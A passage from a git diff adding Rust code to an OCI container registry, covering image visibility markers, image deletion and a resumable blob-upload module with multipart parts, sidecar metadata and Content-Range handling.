db.put(MANIFEST_NEWEST_KEY, now.to_string().into_bytes()).await?; + Ok(()) + } + + /// Record a manifest object being deleted. Left alone when the counters were never seeded: a + /// delete has no listing to seed from that would not already be wrong, and the next push seeds + /// it correctly. + async fn note_manifest_deleted(&self, owner: &str, name: &str) -> Result<()> { + let db = self.image_db(owner, name).await?; + let Some(v) = db.get(MANIFEST_COUNT_KEY).await? else { + return Ok(()); + }; + let n: usize = String::from_utf8_lossy(&v).parse().unwrap_or(0); + db.put(MANIFEST_COUNT_KEY, n.saturating_sub(1).to_string().into_bytes()).await?; + Ok(()) + } + + /// Refreshes the listing-index marker after a manifest push: fresh `manifests`/`updated_ms`, + /// visibility read from the DB (fail closed — a first push with no existing marker is created + /// PRIVATE unless `image_is_public` already says otherwise). Serialized under the same + /// `index/img/{owner}/{name}` key `set_image_visibility` uses, so a push racing a flip cannot + /// interleave the marker swap. Callers must log-and-continue on error: a marker is a view, not + /// something a push should ever fail over. + async fn refresh_image_marker(&self, owner: &str, name: &str) -> Result<()> { + let lock = self.keyed_lock(&format!("index/img/{owner}/{name}")); + let _guard = lock.lock().await; + let public = self.image_is_public(owner, name).await?; + let (count, newest) = self.manifest_stat_fast(owner, name).await?; + let existing = crate::index::read(&self.os, crate::index::Kind::Img, owner, name).await; + let now = crate::ownership::now_ms() as i64; + let m = crate::index::Marker { + name: name.to_string(), + // Always the DB value, never the stale marker's: a marker is a view of the DB, so + // every push heals any drift left by a marker write that failed or raced. + public, + created_by: existing.as_ref().map(|m| m.created_by.clone()).unwrap_or_default(), + created_ms: existing.as_ref().map(|m| m.created_ms).unwrap_or(now), + description: existing.as_ref().map(|m| m.description.clone()).unwrap_or_default(), + manifests: count as u64, + updated_ms: newest.unwrap_or(now), + }; + crate::index::write(&self.os, crate::index::Kind::Img, owner, &m).await + } + + /// Flips the DB row (source of truth for auth) and the listing-index marker together. Serialized + /// per {owner}/{name} so two racing flips cannot interleave `index::write`'s delete-then-put + /// (spec §6.5) — without the lock, a-public-then-b-private and a-private-then-b-public racing + /// could leave both markers, or neither, present. + async fn set_image_visibility(&self, owner: &str, name: &str, public: bool) -> Result<()> { + let lock = self.keyed_lock(&format!("index/img/{owner}/{name}")); + let _guard = lock.lock().await; + // Remove-permissive-first (spec §6.2) applies to the whole flip, not just the marker + // write below: on a private flip, delete the PUBLIC marker before the DB row changes, so + // a crash between here and `index::write` can never leave a stale public marker sitting + // over what the DB already calls private. + if !public { + let public_path = crate::index::path(true, crate::index::Kind::Img, owner, name); + if let Err(e) = crate::index::ignore_not_found(self.os.delete(&public_path).await) { + tracing::warn!(owner = %owner, name = %name, error = %e, "index pre-delete img"); + } + } + self.touch_image(owner, name).await?; + self.image_db(owner, name) + .await? + .put(PUBLIC_KEY, if public { b"1".as_slice() } else { b"0".as_slice() }) + .await?; + // Read the existing marker (either visibility path) so `manifests`/`created_*`/ + // `description` survive the flip — this call only owns `public`. + let existing = crate::index::read(&self.os, crate::index::Kind::Img, owner, name).await; + let m = crate::index::Marker { + name: name.to_string(), + public, + created_by: existing.as_ref().map(|m| m.created_by.clone()).unwrap_or_default(), + created_ms: existing.as_ref().map(|m| m.created_ms).unwrap_or(0), + description: existing.as_ref().map(|m| m.description.clone()).unwrap_or_default(), + manifests: existing.as_ref().map(|m| m.manifests).unwrap_or(0), + updated_ms: existing.as_ref().map(|m| m.updated_ms).unwrap_or(0), + }; + // Marker is a view, never the source of truth: log-and-continue on failure rather than + // failing a visibility flip that already landed in the DB. + if let Err(e) = crate::index::write(&self.os, crate::index::Kind::Img, owner, &m).await { + tracing::warn!(owner = %owner, name = %name, error = %e, "index write img"); + } + Ok(()) + } + + // ponytail: a push or page-load racing this delete can re-open the database between the + // evict and the file removal, leaving a db whose manifest names SSTs that are gone — a + // broken image rather than a deleted one. The window is one node and milliseconds wide; + // a delete-in-progress marker in the image db closes it if it ever bites. + /// Wipes every database row this image owns: the bare `image` marker, `image/public`, every + /// `image/tag/*`, every `image/pulls/*`, every `image/manifest-type/*`, every `image/blob/*` and every + /// `image/referrer/*`. All of them start with `image`, and nothing else in this database does + /// (`upload/*` is the only other key space here — see `referrers::key`'s doc comment) — so one + /// prefix scan is exhaustive and safe. Scoped to THIS image's own database + /// (`image_db(owner, name)`), so a sibling image's rows, which live in a different database + /// entirely, are never touched. Does not touch the object store: callers delete manifest + /// objects separately, and blobs are never this route's to remove (see `blobs::delete_blob`). + async fn delete_image_rows(&self, owner: &str, name: &str) -> Result<()> { + let db = self.image_db(owner, name).await?; + let mut it = db.scan_prefix("image", ..).await?; + let mut keys = vec![]; + while let Some(kv) = it.next().await? { + keys.push(kv.key.to_vec()); + } + for k in keys { + db.delete(k).await?; + } + Ok(()) + } + + /// The whole image, gone: every database row (`delete_image_rows`), then the database's own + /// storage evicted and removed from the object store. + /// + /// The caller (`imagedelete`) removes the listing-index marker (`index::remove`) before any of + /// this runs, so by the time storage cleanup happens the image is already invisible to + /// listings — this no longer answers "does it still list?" for `images`, only "is the bytes + /// gone?". A crash partway through this function now just leaves orphaned rows/files for GC to + /// sweep at leisure, not a visible phantom. The database is EVICTED first — closed and dropped + /// from the pool's warm map — before its files are removed, so nothing local still holds it + /// open underneath the delete. Scoped by `pool_coords`, which is `img/{owner}/{name}` alone, so + /// a sibling image's storage (a different `{name}`, hence a different prefix entirely) is never + /// touched. + /// + /// ponytail: single-node precedent (`Pool::evict` has no lease release either) — a warm handle + /// on ANOTHER node is not evicted here. Fine for this deployment's one-node-owns-a-repo + /// routing (the delete is forwarded to that owning node, see `http::repo_of`), add a release + /// through `ReleaseHook` if a second node can ever hold the same image warm at once. + async fn delete_image(&self, owner: &str, name: &str) -> Result<()> { + use slatedb::object_store::ObjectStore; + self.delete_image_rows(owner, name).await?; + // Cache keys are `{owner}/{name}/{digest}`; without this, a manifest GET'd just before + // delete keeps serving stale bytes for this image until the 256-entry clear-on-full sweep. + let cache_prefix = format!("{owner}/{name}/"); + self.manifests().retain(|k, _| !k.starts_with(&cache_prefix)); + let (o, n) = crate::pool_coords(owner, name); + self.pool.evict(o, &n).await; + let prefix = OsPath::from(crate::pool::path(o, &n)); + // Streamed, not collected-then-serial: the store batches (or at least overlaps) the + // deletes, and an image's DB prefix can hold hundreds of SST objects. + let locations = futures::StreamExt::boxed(futures::StreamExt::map(self.os.list(Some(&prefix)), |m| { + m.map(|m| m.location) + })); + futures::TryStreamExt::try_collect::>(self.os.delete_stream(locations)).await?; + Ok(()) + } +} diff --git a/crates/registry/src/uploads.rs b/crates/registry/src/uploads.rs new file mode 100644 index 00000000..8217ab88 --- /dev/null +++ b/crates/registry/src/uploads.rs @@ -0,0 +1,875 @@ +//! Resumable blob uploads. +//! +//! A session is `uploads/{owner}/{name}/{uuid}` — the staging object — and, when the backend +//! offers a resumable multipart API, a sidecar at `{uuid}.parts` beside it. Both are plain +//! object-store keys, so a session survives the image moving nodes, and the GC worker can sweep an +//! abandoned one without opening a database it does not own (which would fence the node that does). +//! `valid_uuid` forbids `.`, so a sidecar key can never be mistaken for a session's. +//! +//! Two ways a chunk lands, and which applies is decided per PATCH: +//! +//! * **Fast path** (`Store::mp` is `Some` and the chunk can fill at least one 5 MiB part): the +//! chunk is uploaded once, as `UploadPart`s of a multipart upload whose id and part ids live in +//! the sidecar. Completion is `CompleteMultipartUpload` — no byte is re-sent. +//! * **Fallback** (no `MultipartStore` — `LocalFileSystem`, i.e. `file://` dev mode — or a chunk +//! too small to be its own part): the chunk is appended by re-streaming the staging object +//! through a fresh multipart, which is what this file did for every chunk. That is O(N·K) for a +//! session that stays on it, and it is the only thing that works below S3's 5 MiB part floor. +//! +//! The sidecar carries the trailing bytes of a chunk that were too few to be a part ("the tail") +//! along with the part list, in ONE object: split across two objects there is no write order that +//! is not torn by a crash — either the tail is counted twice or the parts are lost. +use super::{auth, blobs, oci_err, store::blob_path, store::Hasher, store::ImageExt, Digest}; +use crate::Trusted; +use crate::dbstore::Store; +use crate::App; +use axum::{ + body::{Body, Bytes}, + extract::{Path, State}, + http::{header, HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Extension, +}; +use futures::{stream::BoxStream, Stream, StreamExt, TryStreamExt}; +use rand::RngCore; +use slatedb::object_store::{path::Path as OsPath, ObjectStore, ObjectStoreExt, PutPayload, WriteMultipart}; +use std::sync::Arc; + +/// How long an abandoned session may sit before the GC worker sweeps it. Same shape as +/// `blobs::max_layer`: a const default, overridable via env for deployments that want a tighter +/// (or looser) window. Session leak is bounded by grace * max_layer per abandoned push, so this +/// is the other half of the DoS fix `max_layer` alone does not cover. +pub fn upload_grace() -> std::time::Duration { + std::env::var("RUSTIC_GIT_UPLOAD_GRACE_SECS") + .ok() + .and_then(|v| v.parse().ok()) + .map(std::time::Duration::from_secs) + .unwrap_or(std::time::Duration::from_secs(24 * 3600)) +} + +fn staging(owner: &str, name: &str, uuid: &str) -> OsPath { + OsPath::from(format!("uploads/{owner}/{name}/{uuid}")) +} + +fn sidecar_path(owner: &str, name: &str, uuid: &str) -> OsPath { + OsPath::from(format!("uploads/{owner}/{name}/{uuid}.parts")) +} + +/// S3 (and R2, and GCS) refuse any part but the last below 5 MiB. A chunk that cannot reach this +/// on its own — with whatever tail the session already holds — has to go down the append fallback. +const MIN_PART: u64 = 5 * 1024 * 1024; + +/// The resumable half of a chunked session: the backend's upload id, the parts it has accepted in +/// order, and the bytes received after the last of them. One object, written whole, because the +/// tail and the part list must move together (see the module comment). +#[derive(serde::Serialize, serde::Deserialize)] +struct Meta { + id: String, + /// `PartId::content_id`, in part-index order. + parts: Vec, + /// Bytes held by `parts`. The tail is not counted here. + len: u64, +} + +struct Sidecar { + meta: Meta, + tail: Bytes, +} + +impl Sidecar { + /// Bytes the session has accepted. Parts plus tail: a client resumes from here. + fn received(&self) -> u64 { + self.meta.len + self.tail.len() as u64 + } + + /// JSON header, newline, raw tail. Not JSON all through because the tail is up to 5 MiB of + /// arbitrary bytes and base64ing it on every chunk is pure waste; neither an upload id nor a + /// part id can contain a raw newline, and serde escapes them regardless. + fn encode(&self) -> crate::Result { + let mut v = serde_json::to_vec(&self.meta)?; + v.push(b'\n'); + v.extend_from_slice(&self.tail); + Ok(PutPayload::from(v)) + } + + fn decode(raw: Bytes) -> crate::Result { + let cut = raw + .iter() + .position(|b| *b == b'\n') + .ok_or_else(|| crate::err("upload sidecar has no header"))?; + Ok(Sidecar { meta: serde_json::from_slice(&raw[..cut])?, tail: raw.slice(cut + 1..) }) + } +} + +/// The session, or `None` when there is none. The STAGING object is what says a session exists — +/// `open_session` writes it empty and `discard` deletes it first — so an orphan sidecar left by a +/// crash between the two deletes answers 404 like anything else, and the sweep reaps it. +async fn session( + app: &App, + owner: &str, + name: &str, + uuid: &str, +) -> crate::Result)>> { + let staged_len = match app.store.os.head(&staging(owner, name, uuid)).await { + Ok(m) => m.size, + Err(slatedb::object_store::Error::NotFound { .. }) => return Ok(None), + Err(e) => return Err(e.into()), + }; + match app.store.os.get(&sidecar_path(owner, name, uuid)).await { + Ok(r) => { + let sc = Sidecar::decode(r.bytes().await?)?; + Ok(Some((sc.received(), Some(sc)))) + } + Err(slatedb::object_store::Error::NotFound { .. }) => Ok(Some((staged_len, None))), + Err(e) => Err(e.into()), + } +} + +/// Stream `src` into parts of an existing multipart upload, `MIN_PART` at a time. Returns the part +/// ids accepted, the bytes they hold, and the remainder — which the caller keeps as the session's +/// tail so the NEXT chunk carries it into a full-size part. With `last` there is no next chunk, so +/// the remainder becomes the final part, which is the one S3 exempts from the 5 MiB floor. +/// +/// Memory is one part plus one body chunk, never the layer: the tail handed in is under `MIN_PART` +/// by construction, and the buffer is flushed the moment it reaches it. +async fn put_parts( + mp: &Arc, + path: &OsPath, + id: &str, + mut next_idx: usize, + mut src: S, + last: bool, + mut room: u64, +) -> Result<(Vec, u64, Bytes), Refused> +where + S: Stream> + Unpin, +{ + let id = id.to_string(); + let mut ids = Vec::new(); + let mut parted = 0u64; + let mut buf: Vec = Vec::new(); + while let Some(chunk) = src.next().await { + let chunk = chunk.map_err(Refused::Failed)?; + room = room.checked_sub(chunk.len() as u64).ok_or(Refused::TooLarge)?; + buf.extend_from_slice(&chunk); + if buf.len() as u64 >= MIN_PART { + parted += buf.len() as u64; + let payload = PutPayload::from(std::mem::take(&mut buf)); + let p = mp + .put_part(path, &id, next_idx, payload) + .await + .map_err(|e| Refused::Failed(e.into()))?; + next_idx += 1; + ids.push(p.content_id); + } + } + if last && !buf.is_empty() { + parted += buf.len() as u64; + let payload = PutPayload::from(std::mem::take(&mut buf)); + let p = mp + .put_part(path, &id, next_idx, payload) + .await + .map_err(|e| Refused::Failed(e.into()))?; + ids.push(p.content_id); + } + Ok((ids, parted, Bytes::from(buf))) +} + +fn new_uuid() -> String { + let mut buf = [0u8; 16]; + rand::thread_rng().fill_bytes(&mut buf); + crate::hex(&buf) +} + +/// A uuid, and nothing that could be a path. Generated here, checked on the way back in: a session +/// id from a client is a path segment, and a path segment is never trusted. +fn valid_uuid(s: &str) -> bool { + !s.is_empty() && s.len() <= 64 && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-') +} + +/// Why a stream could not be stored. Split so the handler can pick the status: the size cap and +/// a digest mismatch are the client's fault and keep the session; anything else is a 500. +pub(super) enum Refused { + TooLarge, + WrongDigest, + Failed(crate::Error), +} + +/// The OCI reply for a refusal on a CHUNK — every chunk path streams without a digest, so +/// `WrongDigest` cannot come back from one and a 500 beats a panic if it ever does. The +/// digest-carrying `PUT` maps it to a 400 itself; that is the one path this must not serve. +fn refused(e: Refused) -> Response { + match e { + Refused::TooLarge => oci_err(StatusCode::from_u16(413).unwrap(), "SIZE_INVALID", "layer too large"), + Refused::WrongDigest => crate::oci_internal(crate::err("digest refused on a chunk")), + Refused::Failed(e) => crate::oci_internal(e), + } +} + +/// How many parts may be in flight before `pour` waits: bounds memory at `(1 + this) * 5 MiB` +/// per request while still overlapping network with hashing. The bound holds for a CHUNKED source +/// — a hyper body, an S3 or filesystem `get` — where each `put` is at most one chunk. A source +/// that yields the whole layer as one `Bytes` (the `mem://` store) spawns `ceil(len / 5 MiB)` +/// part tasks before `wait_for_capacity` is ever consulted, so memory there is O(N); that store +/// is test-only. +const IN_FLIGHT: usize = 4; + +/// Streams `src` to `dest` through a multipart upload, hashing as it goes when `expect` names a +/// digest to verify against. Memory is one 5 MiB part plus `IN_FLIGHT` more, never the layer +/// (see `IN_FLIGHT`). The object lands only on `finish`, and every refusal WE raise aborts first, +/// so nothing half-written — or wrongly named — is ever readable under `dest`. Returns the byte +/// count written. +/// +// ponytail: `WriteMultipart::finish` consumes `self` and only aborts when `complete()` fails, so a +// part upload that fails inside `finish` leaves the parts live with no handle left to abort them. +// Cleanup for that case is the bucket's incomplete-multipart lifecycle rule (`deploy/README.md`). Upgrade path: drive `MultipartUpload` directly if we ever need to +// guarantee cleanup without one. +pub(super) async fn pour( + os: &Arc, + dest: &OsPath, + expect: Option<&Digest>, + mut src: S, +) -> Result +where + S: Stream> + Unpin, +{ + let upload = os.put_multipart(dest).await.map_err(|e| Refused::Failed(e.into()))?; + let mut w = WriteMultipart::new(upload); + let mut hasher = expect.and_then(|d| Hasher::new(&d.algo)); + let mut n = 0u64; + while let Some(chunk) = src.next().await { + let chunk = match chunk { + Ok(c) => c, + Err(e) => { + let _ = w.abort().await; + return Err(Refused::Failed(e)); + } + }; + n += chunk.len() as u64; + metrics::counter!("registry_blob_bytes_in_total").increment(chunk.len() as u64); + if n > blobs::max_layer() { + let _ = w.abort().await; + return Err(Refused::TooLarge); + } + if let Some(h) = hasher.as_mut() { + h.update(&chunk); + } + if let Err(e) = w.wait_for_capacity(IN_FLIGHT).await { + let _ = w.abort().await; + return Err(Refused::Failed(e.into())); + } + w.put(chunk); + } + if let Some(want) = expect { + if hasher.map(Hasher::finish).as_ref() != Some(want) { + let _ = w.abort().await; + return Err(Refused::WrongDigest); + } + } + w.finish().await.map_err(|e| Refused::Failed(e.into()))?; + Ok(n) +} + +/// The session's bytes so far — its size (from the GET's own meta, so no separate HEAD) and a +/// stream. `None` is no session: the staging object IS the session and `open_session` writes an +/// empty one up front, so a `NotFound` here means it was cancelled or swept — not a fresh +/// two-request push. Resuming at offset 0 in that case would silently resurrect a session the +/// client already gave up on. +pub(super) async fn staged( + os: &Arc, + path: &OsPath, +) -> crate::Result>)>> { + match os.get(path).await { + Ok(r) => { + let size = r.meta.size; + Ok(Some((size, r.into_stream().map_err(crate::Error::from).boxed()))) + } + Err(slatedb::object_store::Error::NotFound { .. }) => Ok(None), + Err(e) => Err(e.into()), + } +} + +pub(super) fn body_stream(body: Body) -> BoxStream<'static, crate::Result> { + body.into_data_stream().map_err(|e| crate::err(e.to_string())).boxed() +} + +pub(super) fn content_length(headers: &HeaderMap) -> Option { + headers.get(header::CONTENT_LENGTH).and_then(|v| v.to_str().ok()).and_then(|v| v.parse().ok()) +} + +/// The spec's `Content-Range` on a chunk. A start that is not where the session left off is 416 +/// (with the headers a client resumes from — see `range_not_satisfiable`); absent is allowed, a +/// client streaming one chunk need not send it. Returns the length the header DECLARES, if it +/// declares one, so the caller can hold the body to it: a header claiming more (or fewer) bytes +/// than arrive means the client's own bookkeeping is wrong, and advancing the session by the real +/// length while it believes otherwise desyncs it from what is stored. +pub(super) fn declared_chunk( + headers: &HeaderMap, + owner: &str, + name: &str, + uuid: &str, + have: u64, +) -> Result, Response> { + let Some(cr) = headers.get(header::CONTENT_RANGE).and_then(|v| v.to_str().ok()) else { + return Ok(None); + }; + let mut parts = cr.trim_start_matches("bytes ").split('-'); + let start: u64 = parts.next().and_then(|s| s.parse().ok()).unwrap_or(u64::MAX); + let end: Option = parts.next().and_then(|s| s.parse().ok()); + if start != have { + return Err(range_not_satisfiable(owner, name, uuid, have)); + } + let Some(end) = end else { return Ok(None) }; + // `end + 1` overflows on `bytes 0-18446744073709551615`: a real chunk can never be that long, + // so an overflow here is a malformed header, not a valid range — refuse it cleanly instead of + // panicking in debug / wrapping in release. Same for an end before the start. + match end.checked_add(1).and_then(|e| e.checked_sub(have)) { + Some(len) => Ok(Some(len)), + None => Err(oci_err( + StatusCode::BAD_REQUEST, + "BLOB_UPLOAD_INVALID", + "declared range end is out of bounds", + )), + } +} + +pub(super) fn length_mismatch() -> Response { + oci_err( + StatusCode::BAD_REQUEST, + "BLOB_UPLOAD_INVALID", + "declared range length does not match body length", + ) +} + +/// How many bytes the session holds, or `None` when there is no session. Goes through `session` +/// rather than reading the staging object's size, because on the fast path the bytes are in parts +/// the store will not assemble until completion — the staging object is still the empty marker +/// `open_session` wrote, and its size is not the answer. +async fn received(app: &App, owner: &str, name: &str, uuid: &str) -> crate::Result> { + Ok(session(app, owner, name, uuid).await?.map(|(n, _)| n)) +} + +/// `POST /v2/{o}/{n}/blobs/uploads/` with no `digest` — opens a session the client completes with +/// a PUT or PATCHes chunks into. +pub async fn open_session(app: &App, owner: &str, name: &str) -> Response { + let uuid = new_uuid(); + // The image must exist (even manifest-less) so a completed upload has somewhere to belong. + if let Err(e) = app.store.touch_image(owner, name).await { + return crate::oci_internal(e); + } + // An EMPTY staging object, written now: the object is the session, so a session with no + // bytes yet must still be something `received` can find and the sweep can age out. + if let Err(e) = app.store.os.put(&staging(owner, name, &uuid), PutPayload::default()).await { + return crate::oci_internal(e.into()); + } + accepted(owner, name, &uuid, 0) +} + +/// 202 with the session's URL and how much of the blob it holds. `Range` is inclusive and a +/// session holding nothing has no range at all — a `0-0` there would claim one byte. +fn accepted(owner: &str, name: &str, uuid: &str, len: u64) -> Response { + let mut r = ( + StatusCode::ACCEPTED, + [ + (header::LOCATION, format!("/v2/{owner}/{name}/blobs/uploads/{uuid}")), + (header::HeaderName::from_static("docker-upload-uuid"), uuid.to_string()), + ], + ) + .into_response(); + if len > 0 { + r.headers_mut().insert(header::RANGE, format!("0-{}", len - 1).parse().unwrap()); + } + r +} + +/// A 416 that still tells the client where the session stands, per spec: `Range: 0-{have-1}`, or +/// `0-0` when nothing has been received yet — that is what reference registries send for an empty +/// session; there is no "no range" form for a 416 the way there is for a 202/204, since the client +/// asked "where am I" by getting refused, not by asking cleanly. `Docker-Upload-UUID` and +/// `Location` ride along too: a resuming client needs the session's address, not just its offset. +fn range_not_satisfiable(owner: &str, name: &str, uuid: &str, have: u64) -> Response { + let mut r = oci_err(StatusCode::RANGE_NOT_SATISFIABLE, "BLOB_UPLOAD_INVALID", "chunk does not continue the upload"); + let last = if have == 0 { 0 } else { have - 1 }; + let h = r.headers_mut(); + h.insert(header::RANGE, format!("0-{last}").parse().unwrap()); + h.insert(header::LOCATION, format!("/v2/{owner}/{name}/blobs/uploads/{uuid}").parse().unwrap()); + h.insert(header::HeaderName::from_static("docker-upload-uuid"), uuid.parse().unwrap()); + r +} + +/// `PATCH` — one chunk. Ranges must be contiguous, per the spec: a gap is 416, and so is a chunk +/// that would rewrite bytes already received. +pub async fn patch( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, uuid)): Path<(String, String, String)>, + body: Body, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + if !valid_uuid(&uuid) { + return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"); + } + // Two PATCHes to the same session racing would both read the same `have`, both append to the + // staging object from that offset, and last-writer-wins clobbers the other's bytes (the digest + // check at PUT time catches it eventually, but as a confusing failure far from the cause). + // Serialize the whole read-have -> append -> write sequence per session. + let lock = app.store.keyed_lock(&format!("upload/{owner}/{name}/{uuid}")); + let _guard = lock.lock().await; + let path = staging(&owner, &name, &uuid); + let (have, sc) = match session(&app, &owner, &name, &uuid).await { + Ok(Some(s)) => s, + Ok(None) => return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"), + Err(e) => return crate::oci_internal(e), + }; + let declared = match declared_chunk(&headers, &owner, &name, &uuid, have) { + Ok(d) => d, + Err(r) => return r, + }; + // Checked against Content-Length BEFORE any byte moves, when the client declared one (every + // real client does). A chunked body is checked after it lands — see below. + if let (Some(d), Some(cl)) = (declared, content_length(&headers)) { + if d != cl { + return length_mismatch(); + } + } + // Which path this chunk takes. A session already on multipart stays on it whatever the chunk + // size — `put_parts` just grows the tail when a chunk cannot fill a part, and the tail is + // capped at `MIN_PART` by construction, so memory stays bounded however the client chunks. + // Starting one is the guarded case: a session with bytes already appended would need its first + // part to be all of them, unbounded, read back into memory — which is the cost this exists to + // remove, not pay. So only a session at offset 0, and only for a chunk big enough to be a part. + let announced = declared.or_else(|| content_length(&headers)); + let fast = match &app.store.mp { + Some(mp) if sc.is_some() => Some(mp.clone()), + Some(mp) if have == 0 && announced.is_some_and(|n| n >= MIN_PART) => Some(mp.clone()), + _ => None, + }; + let len = if let Some(mp) = fast { + match patch_part(&app, &mp, &owner, &name, &uuid, sc, body).await { + Ok(len) => len, + Err(r) => return r, + } + } else { + // Fallback: re-stream the whole session ahead of the new chunk, as this always did. Only + // reached with no sidecar — a store with no `MultipartStore` (`file://`), or chunks that + // never reach the 5 MiB part floor. + let src = match staged(&app.store.os, &path).await { + Ok(Some((_, s))) => s, + Ok(None) => { + return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload") + } + Err(e) => return crate::oci_internal(e), + }; + match pour(&app.store.os, &path, None, src.chain(body_stream(body))).await { + Ok(len) => len, + Err(e) => return refused(e), + } + }; + // A chunked body with a Content-Range that lied: the session has advanced by what really + // arrived, and the 400 tells the client so. Its next GET/PATCH sees the true `Range` — that + // is the resume protocol working, not a corrupted session. `checked_sub` because a session + // swept mid-request would make `len` smaller than the `have` read before it: that is the same + // "no session" answer, not an underflow. + match len.checked_sub(have) { + Some(arrived) if declared.is_some_and(|d| d != arrived) => return length_mismatch(), + None => return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"), + _ => {} + } + accepted(&owner, &name, &uuid, len) +} + +/// The tail the session is holding, then the request body: the bytes this chunk contributes, in +/// order. Prepending the tail is what lets a sub-part-sized remainder ride along into a full-size +/// part instead of forcing an undersized one S3 would reject. +fn tail_then(tail: Bytes, body: Body) -> BoxStream<'static, crate::Result> { + futures::stream::once(futures::future::ready(Ok(tail))).chain(body_stream(body)).boxed() +} + +/// The fast path: this chunk's bytes go up ONCE, as parts of the session's multipart upload. +/// Returns the session's new length. +/// +/// The sidecar write is the commit point, and it happens last: a refusal (or a crash) leaves parts +/// uploaded but unreferenced, so the session simply still stands at its previous offset and the +/// client resumes there. Unreferenced parts are reaped by the bucket's incomplete-multipart +/// lifecycle rule — the same ceiling `pour` already names. +async fn patch_part( + app: &App, + mp: &Arc, + owner: &str, + name: &str, + uuid: &str, + sc: Option, + body: Body, +) -> Result { + let path = staging(owner, name, uuid); + let fresh = sc.is_none(); + let (mut meta, tail) = match sc { + Some(s) => (s.meta, s.tail), + None => { + let id = mp + .create_multipart(&path) + .await + .map_err(|e| crate::oci_internal(e.into()))?; + (Meta { id, parts: Vec::new(), len: 0 }, Bytes::new()) + } + }; + let room = blobs::max_layer().saturating_sub(meta.len); + let put = put_parts(mp, &path, &meta.id, meta.parts.len(), tail_then(tail, body), false, room) + .await; + let (ids, parted, tail) = match put { + Ok(v) => v, + Err(e) => { + // Nothing referenced these parts yet; a multipart WE just opened has no session behind + // it either, so abort it rather than leave it for the lifecycle rule. + if fresh { + let _ = mp.abort_multipart(&path, &meta.id).await; + } + return Err(refused(e)); + } + }; + meta.parts.extend(ids); + meta.len += parted; + let sc = Sidecar { meta, tail }; + let payload = sc.encode().map_err(crate::oci_internal)?; + app.store + .os + .put(&sidecar_path(owner, name, uuid), payload) + .await + .map_err(|e| crate::oci_internal(e.into()))?; + Ok(sc.received()) +} + +/// `GET` — how far the session got. 204 with a `Range`, per the spec. A WRITE check, not a read +/// one: an upload session is not published data, and its progress is not a public read. +pub async fn status( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, uuid)): Path<(String, String, String)>, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + if !valid_uuid(&uuid) { + return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"); + } + match received(&app, &owner, &name, &uuid).await { + Ok(Some(n)) => { + let mut r = ( + StatusCode::NO_CONTENT, + [ + (header::HeaderName::from_static("docker-upload-uuid"), uuid.clone()), + // A client asks here to RESUME: it needs where to send the next chunk as + // much as how far the upload got, so the session's URL travels with it. + (header::LOCATION, format!("/v2/{owner}/{name}/blobs/uploads/{uuid}")), + ], + ) + .into_response(); + { + // Always present, `0-0` for an empty session — the resume protocol reads this + // header unconditionally, and reference registries answer 0-0 rather than + // omitting it when nothing has landed yet. + let n = n.max(1); + r.headers_mut().insert(header::RANGE, format!("0-{}", n - 1).parse().unwrap()); + } + r + } + Ok(None) => oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"), + Err(e) => crate::oci_internal(e), + } +} + +/// `DELETE` — cancel. Idempotent in effect: the staging object goes, and it was the whole session. +pub async fn cancel( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, uuid)): Path<(String, String, String)>, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + if !valid_uuid(&uuid) { + return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"); + } + // Same lock `patch`/`complete` hold: a DELETE landing between a concurrent PATCH's read of + // the staging object and its multipart `finish` would be undone by that finish, resurrecting + // the session the client just cancelled. + let lock = app.store.keyed_lock(&format!("upload/{owner}/{name}/{uuid}")); + let _guard = lock.lock().await; + // Best effort: a sidecar we cannot read still gets deleted, it just leaves its multipart to the + // lifecycle rule. Cancelling must not fail on it. + let sc = session(&app, &owner, &name, &uuid).await.ok().flatten().and_then(|(_, sc)| sc); + discard(&app, &owner, &name, &uuid, sc.as_ref()).await; + StatusCode::NO_CONTENT.into_response() +} + +/// Staging object FIRST: it is what `session` tests for, so a crash between the two deletes leaves +/// an orphan sidecar that answers 404 (and the sweep reaps), never a session that looks alive. +/// The multipart upload is aborted if one was open — a `sc` we cannot read is left to the bucket's +/// incomplete-multipart lifecycle rule rather than blocking the cancel. +async fn discard(app: &App, owner: &str, name: &str, uuid: &str, sc: Option<&Sidecar>) { + let _ = app.store.os.delete(&staging(owner, name, uuid)).await; + if let (Some(mp), Some(sc)) = (&app.store.mp, sc) { + let _ = mp.abort_multipart(&staging(owner, name, uuid), &sc.meta.id).await; + } + let _ = app.store.os.delete(&sidecar_path(owner, name, uuid)).await; +} + +/// `PUT /v2/{o}/{n}/blobs/uploads/{uuid}?digest=` — completes a session. A body here is the last +/// chunk, which is how the two-request push (no PATCH ever sent) arrives. +/// +// ponytail: completion still reads the assembled blob ONCE to hash it — sha2 has no serializable +// state to carry across requests, and holding the hasher in node memory would lose the session +// when the image moves nodes. That is O(N) per push, not the O(N*K) the PATCH path used to be, and +// it is the floor for a registry that verifies what it stores. On the fast path the verified bytes +// then reach `blobs/` by `copy`, a server-side CopyObject that S3 caps at 5 GiB — a layer above +// that fails the copy and the client retries. Upgrade paths: multipart copy for the >5 GiB case, +// or per-part digests if a client ever offers them. +pub async fn complete( + app: &App, + owner: &str, + name: &str, + uuid: &str, + digest: &str, + headers: &HeaderMap, + body: Body, +) -> Response { + if !valid_uuid(uuid) { + return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"); + } + let Some(d) = Digest::parse(digest) else { + return oci_err(StatusCode::BAD_REQUEST, 